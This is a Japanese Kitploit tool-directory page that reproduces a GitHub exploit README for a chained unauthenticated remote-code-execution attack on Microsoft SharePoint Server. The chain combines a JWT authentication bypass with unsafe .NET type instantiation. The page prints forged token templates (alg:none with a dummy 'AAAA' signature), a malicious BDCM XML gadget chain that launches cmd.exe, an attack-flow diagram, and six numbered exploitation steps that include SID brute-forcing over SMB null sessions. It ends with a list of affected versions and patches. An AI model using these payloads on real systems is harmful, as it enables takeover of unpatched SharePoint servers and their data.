Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-63520 — # Microsoft SharePoint における未認証RCEのエクスプロイトチェーン JWT認証バイパスと安全でない.NET型のインスタンス化を組み合わせ、サービスアカウントとしてコード実行を達成する、Microsoft SharePointの未認証RCEエクスプロイトチェーン。 | Kitploit
ツール/GitHubGitHub/hypnguyen1209/cve-2026-63520
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストレッドチーミングペイロード開発
GitHubhypnguyen1209/cve-2026-63520

CVE-2026-63520

# Microsoft SharePoint における未認証RCEのエクスプロイトチェーン JWT認証バイパスと安全でない.NET型のインスタンス化を組み合わせ、サービスアカウントとしてコード実行を達成する、Microsoft SharePointの未認証RCEエクスプロイトチェーン。

リポジトリを見る
11431ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-63520 SharePoint 安全でない型 RCE + CVE-2026-55040 チェーン

Microsoft SharePoint Server に対する認証なし RCE。資格情報は不要です。

Stephen Fewer (Rapid7) は Pwn2Own Berlin 2026 で CVE-2026-55040 を実証しました。Rapid7 はその後の調査で CVE-2026-63520 を発見し、VulnCheck は独立して代替ガジェットチェーンを発見しました。この2つのバグを組み合わせることで、インターネット上のパッチ未適用の SharePoint に対して認証なしのリモートコード実行が可能になります。

CISA は PoC 公開から数時間以内に警告を発しました。現在、実環境で悪用されています。

機能

2つのバグ、1つのチェーン:

CVE種類CVSS影響
CVE-2026-55040JWT 認証バイパス9.1SharePoint の S2S トークン検証には4つの独立した脆弱性があります。これらを連鎖させると、パスワードを知らなくても任意のユーザー(サイト管理者を含む)の有効な JWT を偽造できます。
CVE-2026-63520安全でない .NET 型インスタンス化 → RCE8.1Business Data Connectivity (BDC) は、アップロードされた XML から任意の .NET 型名を許可リストなしで解決します。ObjectDataProvider を指定すると Process.Start() が実行可能になります。

どちらのバグも単独では興味深いものではありません。CVE-2026-63520 は認証が必要です。CVE-2026-55040 は認証を提供します。組み合わせると: SharePoint サービスアカウントとしての認証なし RCE が実現します。

バグ1: JWT バイパス (CVE-2026-55040)

SharePoint はサーバー間 (S2S) 認証にネストされた JWT を使用します。外側のトークンはユーザー ID を保持し、内側の「アクタートークン」は呼び出し元アプリケーションを表します。SPJsonWebSecurityTokenHandlerV2.ValidateToken() の4つの脆弱性により、全体が崩壊します:

脆弱性1 - 署名検証が無効。 バリデータは RequireSignedTokens = false を設定します。外側のトークンは alg: none を受け入れます。署名は不要です。

脆弱性2 - 検証なしの x5t 解決。 アクタートークンの署名キーは、証明書ストア内の x5t (証明書サムプリント) ヘッダーを検索して解決されます。SharePoint はアクタートークンの署名が実際にそのキーと一致するかどうかを決してチェックしません。

脆弱性3 - 発行者検証が未知の証明書を受け入れる。 ValidateIssuer() は、署名証明書が TrustedSecurityTokenServices コレクションにない場合に合格します。SharePoint 自身の STS 証明書はそこに登録されていません。したがって、x5t を介してそれを参照すると、発行者検証は無条件に合格します。

脆弱性4 - 非暗号化署名チェック。 GetTokenSignature() は空でない文字列を要求しますが、暗号検証は一切行いません。任意の値が機能します。AAAA でも機能します。

STS 証明書は公開されています。/_layouts/15/metadata/json/1(認証不要のエンドポイント)から取得し、SHA-1 サムプリントを計算すれば、必要なものはすべて揃います。

偽造トークンの外観

外側のトークン (ユーザー ID を保持):

// ヘッダー
{"alg": "none", "typ": "JWT"}

// ペイロード
{
  "aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "<ターゲット SID または UPN>",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "<内側の JWT>"
}
// 署名: 空 (alg:none)

内側のアクタートークン (「アプリケーション」を表す):

// ヘッダー
{"alg": "RS256", "typ": "JWT", "x5t": "<STS 証明書サムプリント>"}

// ペイロード
{
  "iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
  "nbf": 1756000000,
  "exp": 1756003600
}
// 署名: "AAAA" (文字通り空でない任意の値)

ID を選択する3つの方法:

モードnameidnii必要なもの
SIDS-1-5-21-...-1605urn:office:idp:activedirectoryドメイン SID (SMB ヌルセッション経由) + RID ブルートフォース
UPNupn_bypass + upn クレームurn:office:idp:activedirectory有効な UPN (例: [email protected])
AccessToken0#.w|nt authority\local serviceAccessTokenなし。アクセスは制限されますが、一部のチェーンには十分です。

バグ2: RCE (CVE-2026-63520)

SharePoint の Business Data Connectivity サービスは、管理者が BDC モデル XML ファイル (.bdcm) を通じて外部データソースを定義できるようにします。これらのモデルは、BDC が実行時にインスタンス化する .NET 型を指定します。

問題は DbTypeReflector.ResolveDotNetType() にあります:

// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
    return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true);  // GAC 内の任意の型

15文字未満の型名は安全なリゾルバーを通過します。それより長いものは Type.GetType() を直接呼び出します - これはグローバルアセンブリキャッシュから任意のアセンブリ修飾型名を解決します。許可リストもブロックリストもありません。攻撃者は BDCM XML を通じて abstractTypeName を制御します。

ガジェットチェーン

PresentationFramework の System.Windows.Data.ObjectDataProvider を使用します。その ObjectInstance プロパティを設定すると、そのインスタンス上で MethodName が呼び出されます。MethodName = "Start" と ObjectInstance = System.Diagnostics.Process を細工した StartInfo とともに設定すると、BDC のプロパティセッターリフレクションが残りを処理します:

ObjectDataProvider 作成
  → MethodName = "Start"
  → ObjectInstance = Process
    → StartInfo.FileName = "cmd.exe"
    → StartInfo.Arguments = "/c <ペイロード>"
    → StartInfo.UseShellExecute = false
    → StartInfo.CreateNoWindow = true
  → プロパティセッターが QueryWorker() をトリガー
    → BeginQuery() → InvokeMethodOnInstance()
      → Type.InvokeMember("Start") → Process.Start()

これを運ぶ BDCM XML:

<TypeDescriptor Name="ReturnRoot"
  TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework, 
    Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
  <TypeDescriptors>
    <TypeDescriptor Name="MethodName" TypeName="System.String">
      <DefaultValues>
        <DefaultValue ...>Start</DefaultValue>
      </DefaultValues>
    </TypeDescriptor>
    <TypeDescriptor Name="ObjectInstance"
      TypeName="System.Diagnostics.Process, System, ...">
      <TypeDescriptor Name="StartInfo"
        TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
        <TypeDescriptor Name="FileName" TypeName="System.String">
          <DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
        </TypeDescriptor>
        <TypeDescriptor Name="Arguments" TypeName="System.String">
          <DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
        </TypeDescriptor>
      </TypeDescriptor>
    </TypeDescriptor>
  </TypeDescriptors>
</TypeDescriptor>

VulnCheck は、DotNetAssembly LobSystem を介した TypeConfuseDelegate 逆シリアル化を使用する System.Web.UI.LosFormatter による代替チェーンを文書化しました。複数のガジェットが機能します - 基盤となるプリミティブは無制限の型インスタンス化です。

完全な攻撃フロー

    攻撃者                         SharePoint サーバー
       │                                    │
       │── GET /_layouts/15/metadata/json/1 ──▶│
       │◀── STS 証明書 (x5t + realm) ─────────│  (認証不要)
       │                                    │
       │── DC への SMB ヌルセッション ──────────────▶ ドメインコントローラー
       │◀── ドメイン SID ────────────────────────│
       │                                    │
       │── JWT 偽造 (alg:none + AAAA 署名) ─│
       │── POST /_api/contextinfo ──────────▶│
       │◀── FormDigestValue ────────────────│  CVE-2026-55040: 管理者として認証
       │                                    │
       │── POST /_api/web/lists ────────────▶│  BDC カタログ作成
       │── POST .../Files/add(evil.bdcm) ──▶│  ガジェットチェーンをアップロード
       │── POST /_vti_bin/client.svc/ ──────▶│  ProcessQuery をトリガー
       │        ProcessQuery                │
       │                                    │  CVE-2026-63520: Process.Start()
       │                                    │  → cmd.exe /c <ペイロード>
       │                                    │  → SP サービスアカウントとして実行

6つのステップ:

  1. STS 証明書を取得。 /_layouts/15/metadata/json/1 にアクセス。認証は不要です。keys[0].keyValue.value から X.509 証明書を抽出し、SHA-1 ハッシュして base64url エンコードします。それが x5t です。issuer フィールドから realm が得られます。

  2. サイト管理者を見つける。 ドメインコントローラーへの SMB ヌルセッション、LSARPC LsarQueryInformationPolicy でドメイン SID を取得し、RID (500、1000-10000) を反復して各 RID の JWT を偽造し、/_api/web/currentuser が IsSiteAdmin: true を返すまで続けます。または、既知の UPN を指定するだけでも構いません。

  3. JWT を偽造。 外側: alg:none、nameid = 管理者 SID、actortoken = 内側の JWT。内側: alg:RS256、x5t = STS サムプリント、署名 = AAAA。base64url エンコードし、ドットで連結します。完了です。

  4. フォームダイジェストを取得。 偽造した Bearer トークンで POST /_api/contextinfo を実行。SharePoint は書き込み操作用の FormDigestValue を返します。

  5. BDCM をアップロード。 BusinessDataMetadataCatalog ライブラリを作成し、ObjectDataProvider ガジェットチェーンを含む悪意のある .bdcm XML をアップロードします。

  6. トリガーを引く。 BDC エンティティを解決するリクエストで POST /_vti_bin/client.svc/ProcessQuery を実行。SharePoint は BDCM から型をインスタンス化し、リフレクションでプロパティを設定し、ObjectDataProvider が Process.Start() を発火させます。コードは SharePoint サービスアカウントとして実行されます。

影響を受けるバージョン

製品脆弱なバージョンパッチKB
SharePoint Server Subscription Edition16.0.19725.20522 未満2026年8月 CUKB5002893
SharePoint Server 201916.0.10417.20198 未満2026年8月 SU-
SharePoint Enterprise Server 201616.0.5565.1001 未満2026年8月 SU-

2026年8月の累積更新プログラムは、BDC がインスタンス化できる .NET 型を制限する ValidateSafeBcsType() を追加します。JWT 修正は、適切な署名検証を追加し、STS 証明書を信頼済みトークンサービスコレクションに登録します。

ツールをダウンロード